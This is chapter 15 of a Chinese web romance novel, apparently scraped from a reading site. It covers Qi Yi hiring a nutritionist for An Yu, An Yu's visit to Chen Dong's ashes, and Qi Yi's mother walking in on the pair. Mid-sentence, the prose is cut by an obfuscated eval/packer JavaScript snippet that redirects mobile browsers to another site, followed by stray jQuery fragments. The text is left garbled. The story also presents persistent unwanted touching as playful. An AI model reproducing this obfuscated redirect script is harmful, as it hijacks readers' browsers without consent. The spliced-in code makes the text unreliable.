15. 第 15 章

作品:《老实社恐被猛哥强宠

    在住进祁易家里的这半个月内,安渝有履行自己的承诺承包家务,但祁易是个非常爱干净的人,家里各处一尘不染,即使是沙发或床铺短暂的不规整,也很快就会在安渝下班回来后已经变得整洁如新。


    这让有心收拾房间的安渝下班后变得无所事事。


    祁易当然不会让安渝包揽家务,安渝工作时间比他久很多,累了一天,怎么可能还让安渝干活,所以他在每天带安渝吃过晚饭那一顿后,趁着安渝又回到店里上班期间回了趟家,把家里各处弄得妥妥帖帖,再回去接安渝下班。


    他家离两人上班地点仅有不到十分钟车程,所以安渝并没有发现。


    安渝出门后,祁易照常检查家里整洁度时,给人打了个电话。


    “扈敖,你以前找的那个营养师,还有联系方式吗?”


    “那好,把她联系方式给我吧。”


    “好,谢谢。”


    祁易挂了电话,往安渝房间走去。


    安渝太瘦了,还在长身体的年纪,应该多费点心补补营养,扈敖是他一个学弟,家里姐姐身体不太好,婚后怀孕期间,母亲和腹中胎儿身体状态都很孱弱,扈敖心疼姐姐,请了个营养师天天照顾,最后母女平安。


    祁易就想着雇佣这个营养师给安渝制定专门食谱。


    祁易进到安渝房间后,扫视一圈。


    海蓝色的被子平铺在床上,虽然不如他房间那种不能有一点痕迹褶皱,但也是大多数人的整齐程度了,床头柜上也没有乱摆放东西,干干净净,只有一盒抽纸,两本书。


    还有一部正在充电的手机。


    手机?


    祁易疑惑地过去看了看,半智能的黑色手机,不是安渝那个小到攥手里就完全看不见的按键手机。


    祁易拿起来看了看,电量已经充满格了,没有锁,一张满是蒲公英漫天飞的阳光屏保。


    祁易放下时,拇指不慎触碰到了短信标识,进入了短信界面。


    他大致扫了一眼,并没有要窥探别人隐私的想法,想点击退出时,看见了中间一个来自“陈东”的对话框。


    不用点开,入眼的就是安渝回复的一个“嗯”字。


    日期已经很久远了,大概在半年前。


    这个手机因为没再用过,已经停止缴费功能,所以再没有过其他短信。


    祁易在拖地的时候,有些心不在焉,他完全不了解安渝以前的生活,安渝对曾经很抵触,相处过程从来不提及以前。


    陈东,是安渝以前的好朋友吗?


    祁易拖地的动作停了下来,一手撑着拖把棍,一手垂着,目光落在那个安渝从来没有在生活中用过的手机。


    在祁易快要冒出想要查看短信内容的想法时,安渝回来了。


    安渝似乎是跑着回来的,他的房间门开着,跑到门口发现祁易站在里面,愣了愣:“你还在家里吗?”


    看着祁易手上拿着拖把,安渝快步过去说:“不是说了家务都我来做吗?你怎么……”


    一直愚笨的安渝此刻像是被什么开了智,他微微瞪大眼睛看着祁易。


    难怪他每次要打扫家务时家里总干干净净,原来祁易已经提前做完了。


    祁易没给他开这个口询问的机会,问他:“怎么忽然回来了?”


    安渝这才想起自己的事,他订的火车已经没多少时间了,从上次坐长途汽车历经生不如死的晕车之后,他就再也不想坐了。


    安渝走到床头柜前,把正在充电的手机拿起来装到包里说:“我东西丢家里了,回来拿的。”


    祁易的目光一直跟着安渝任何动作,语气很漫不经心:“那手机是你的?没见你用过。”


    安渝扣挎包的手顿了下:“……我不太习惯这种手机,准备卖掉的。”


    “我先走了,十点的火车。”安渝走了两步又回头,“你别干了,等回来我做吧。”


    祁易三两步过去拉住安渝的胳膊:“我跟你一起去。”


    “不了,我自己回去。”安渝态度特别坚决,祁易脸色顿时就沉了下来。


    “我尽量晚上就回来。”安渝也是看祁易明显的不开心,说了这么一句。


    安渝离开后,祁易踹了一脚拖把,烦躁到极点,他不明白安渝有什么是不想让他知道的。


    安渝中午十二点左右到的,他拿着处理手机的六十块钱买了束鲜花和纸钱去骨灰房。


    陈东的骨灰罐装在一个小小的木格子里,前面摆着一张黑白照片,上面写着他的名字。


    照片里的陈东要比现实里的看着乖巧多了,五官周正,眉眼带笑,因为还未成年,骨相还不是很锋利。


    安渝把鲜花摆放好,取出陈东的骨灰,在外面找了片空地,烧起了纸钱。


    这里偏僻,所以没有什么管制不许烧纸钱什么的,有个光秃秃的小山头专门用来让家属明火祭拜。


    安渝跪坐着,把纸钱烧光了,才轻轻开口说:“我以后就不来了。”


    晴朗的天,无端端地就突然起了阵风,把砖头围成的小火圈里的灰烬吹得沸沸扬扬,安渝的身上和头发上都落了些黑里掺着白色的纸灰。


    安渝对陈东是讨厌的,但这种讨厌,随着陈东倒在血泊里那一刻,猛地就散了。


    人都死了,他还讨厌什么,不过是跟自己过不去。


    安渝对这个地方没什么好印象,但他还是在离开之前去看了张梅。


    因为是工作日,张梅在学校里授课,安渝肯定不想再踏入那个学校半步,他就在外面给张梅打了个电话,问她了声好,听张梅说要出来见他,就答应了。


    学校旁的一间小咖啡馆,挺有格调的,这地方随着开发,学校附近也是开了各种漂亮店铺。


    安渝买了个新鲜果篮,坐着等了会儿,张梅就进来了。


    店里就十张桌子,张梅一进来就看见了安渝。


    “老师。”安渝站起来,脸上带着含蓄的笑,还是和以前那样沉静腼腆。


    张梅戴着副眼镜,坐着和安渝说了好些话,虽然安渝不善言辞,但也能从一些细节里看出,安渝现在过得挺不错,来了趟这里,还念着她,她打心里高兴。


    张梅走的时候,安渝把果篮上的包装撕了说:“老师,就说是您家里人送给给您吃的。”


    安渝下午三点到的火车站,还有一个小时才发车,他有些无聊,坐在大厅等。


    有人拍了拍安渝的肩:“唉?你是安渝吗?”


    在这里被人认出,不是什么好事,安渝心猛跳了一瞬,抬起头,是一张不认识,但又有点眼熟的脸,很年轻,估计二十来岁,他旁边还有两个同龄人,其中一个还染着黄毛。


    青年看清了安渝的脸,笑了开来:“我以为看错了呢,真的是你。”


    看安渝一脸茫然,还有点警惕,青年说:“不认识了?我是卫成啊,跟陈东一块玩的。”


    听他提到陈东,安渝的脸变了变,低下头,有点冷漠:“我不认识你。”


    后面那个黄毛听后嗤笑了下:“成哥,人家不认识你啊。”


    卫成“啧”了一声,也不知道是跟安渝说还是那黄毛:“当时我们也就见了一面,话都没说一句,不认识就不认识呗。”


    其实安渝已经记起来了,这卫成是陈东有次来接自己放学时一起的,他们听陈东说非要来接弟弟放学,就跟着一起来看看。


    “你一个人吗?这是要去哪?你毕业了吗?”


    卫成一个人说了大半天,安渝都不愿意搭理,但又不敢完全不理,卫成就走了。


    那黄毛还跟卫成说:“我说你,没看出人家都不愿意和你说话吗?”


    卫成回他:“我以为他会理我的,毕竟陈东曾经对他那么好,亲弟弟似的,什么好东西都要拿回去让他那个弟弟试试,谁知道会这样呢?”


    安渝回到市中心后,是傍晚了,他回到家后,祁易并没有在。


    回来之后,日子照常,祁易请的营养师也开始工作,早午晚三餐,伺候得安渝每天红光满面。


    安渝并不知道这是专门给他请的营养师,以为祁易吃腻了饭店,所以请了专门厨师。


    直到有天大暴雨,祁易都坚持带营养师的汤羹来给安渝送晚饭,安渝才觉出不对味。


    办公室里,茶几上摆置着鲜香鱼羹,虾蟹粥,祁易说漏了嘴:“这都是专门给你定制的,你得喝完知道吗?”


    “给我?”


    祁易笑了下,也不隐瞒:“身体是打拼的资本,你得健健康康的,才能长命百岁。”


    安渝回想起这段日子以来,虽然食材昂贵到咂舌,做法也精细,但味道除了食物本身的味道,其实很清淡。


    安渝暗叹了口气,看着递到面前的粥:“何必呢,真的不需要为我做这么多,有饭吃就很好了,吃这些挺浪费的。”


    祁易放下碗,捏了捏安渝的脸颊说:“什么叫浪费?你看看你脸上长的肉,这可都是我一点一点养出来的,你要趁着现在长身体的时候大补,将来才能长个一米八的大个儿。”


    安渝吃胖了些,也因为年轻人代谢快,保持着很不错的身材,如果不是怕安渝吃苦,祁易还想有时间让安渝练几手拳击锻炼呢。


    祁易摸得爱不释手,那手就到安渝身上其他地方去了,他像是丈量一般,展开修长手指在安渝的肩背比划,又在安渝的腰上摸来摸去。


    “肩宽了些,胸背也结实许多,但这腰——”


    祁易顿了下,又摸了两把说:“似乎更窄了呢。”


    安渝一直没动,祁易把安渝的衬衫下摆从裤子里抽出来,露出那一截儿细韧的腰,毫不客气地揉来揉来说:“真的细了。”


    安渝没有运动过,腰上的肉软绵绵的,祁易的手劲儿又大,那么一掐,指头就陷进去了。


    安渝到底不适应被个同性这么近距离地触碰肌肤,躲开后,把祁易的手推开:“好了,不要闹了,有点痒……”


    祁易闹上瘾了,笑嘻嘻地凑过去,把手盖在安渝的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937196|192893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裤腰上说:“其他地方都长进了,让哥看看小安渝有没有长大。”


    安渝脸色顿时就红了,拽着裤腰:“你胡说什么呢,快起来。”


    祁易也不是真心想看的,就是要逗逗他,可是望着安渝脸上慢慢爬上霞红,也不知怎么,就真想看了,握住安渝比他小了一圈的手按住,去解那颗裤扣子,嘴里还哄着:“让哥看看,害什么羞,等会儿也给你看我的。”


    安渝都气笑了,瞪了眼祁易:“我看你东西做什么!”


    两人正闹着,办公室门在这时打开,一道女声传进来:“小易,还没……”


    外面下着暴雨,再隔音的房子,也会有闷闷的雨滴砸落噪声,加上祁易心里莫名的激动与渴望,导致开门那一刻,他都还在固执地拉安渝裤子,不过他的敏锐力也很快恢复,迅速回过头去看。


    来人是祁易的母亲赵清薇,她瞪圆了眼睛,看着沙发上黏在一起的两个人,眉头狠狠皱起来:“你们做什么?”


    祁易很不满自己母亲进来打断的行为,因为他是坐在外侧,他完全可以挡住安渝,坐起来时不着痕迹地拉上去被他已经扯开一半的裤链说:“妈,你怎么来了?”


    安渝窘迫地低着头,努力抻平衬衫下摆,还往下拉扯,挡住已经松开的裤扣,他有点心虚地抬头跟赵清薇问候:“阿姨,您好。”


    赵清薇进来看着两人,又看看桌上的食物:“在吃晚饭?”


    她的眼睛是落在安渝身上的,她的儿子交友范围都是一些富贵之人,但她从来没有见过安渝这号人物,安渝身上穿着对面蛋糕店的工服,简单的白衬衫黑长裤,赵清薇见过的,一眼就看出这是对面店里的员工。


    她脸上不显山不露水的,但也没理会安渝的问好,看着自己宠爱的儿子说:“怎么这么早就吃晚饭,才六点多一点,这么早吃,晚上不是饿得很快?”


    夏天六点吃晚饭确实早了些,外面天都还亮着,也就今天下了大雨,没有了太阳,祁易以前晚饭时间是七点多到八点左右,为了迁就安渝才吃这么早。


    祁易是赵清薇的亲生儿子,自然很了解自己的妈妈,他的妈妈表面上总是端着一副知性温柔,但其实很嫌贫爱富。


    祁易维持着母子之间的和气笑容说:“晚上饿了会吃宵夜,妈,我给你介绍下,这是我的好朋友,安渝。”


    赵清薇这才慢条斯理地“嗯”了声,但也没打算和安渝说什么,她坐在沙发对面说:“小易,妈妈有话想和你说。”


    她这么说后,又不往底下继续说,安渝再笨,也听明白了,准备起来离开,才动了动身,就被察觉到的祁易搂了肩膀说:“很重要的事吗?不是的话,等我们吃晚饭再说吧。”


    眼看赵清薇轻轻皱眉,祁易使出长大后就没有过的撒娇示弱:“妈,您儿子现在很饿,你要让我饿着肚子吗?桌上的饭都快要凉了。”


    赵清薇心疼儿子,祁易可是被她从小溺爱惯大的,虽然祁易根本不吃她那一套。


    “行吧,那你吃完,回家一趟,妈妈有很重要的事的,知道吗?”


    送走赵清薇,安渝吃完饭就回去上班了。


    晚上的班他有些心神不安,他不知道祁易的母亲是向来对外人都那么冷淡,还是单单只对他那样。


    加上天气原因,客人并不多,蛋糕店提前下班。


    雨小了些,但也只是从暴雨变成了中雨,大家陆陆续续打伞出去,有的去赶公车,有的有人来接,唐旭有辆车,平时不开,省汽油钱,因为今天出门时看了天气预报,所以他开来了,他载着刘馨要送女朋友回家,看见安渝站在店门口的房檐下,邀请他一起上车,把他送回家。


    看见他俩,安渝就能想到那天撞破的画面,他摇摇头说:“不用,等会儿有人来接我。”


    唐旭一听有人接他,就告别了。


    下班时间提前了一个小时,安渝站了会儿,才想起自己没伞,他准备给祁易打电话时,赵清薇那双淡漠的眼睛突兀地跃在他的脑海中。


    安渝握了握手机,打算自己回家了。


    包里没有重要东西,也不怕淋湿,安渝顶着包跑到路尽头的公交站等车。


    坐公交只需要一站就能到,真得挺方便。


    也是在这一时刻,安渝意识到,祁易给他带来了多大的帮助。


    公车没来,祁易的车先来了,他拐弯时看见安渝站在公交站里,纤瘦的身子被风雨吹得内扣着双肩。


    祁易惊讶了一瞬,把车停到路边,下去后问:“怎么在这儿呢?冷不冷?”


    这么近距离一看,发现安渝身上的白色短袖湿了个透彻,头发也湿了。


    安渝很平常地说:“提前下班了,所以来坐车回家。”


    祁易很生气地说:“怎么不给我打电话?要是我不提前来,都不知道你在这儿受冻。”


    他拉着安渝上车,扯了张纸巾把安渝脸上的湿润擦拭干净,看安渝落水小狗的模样,心情不悦地哼了声,赶紧回家让安渝洗热水澡。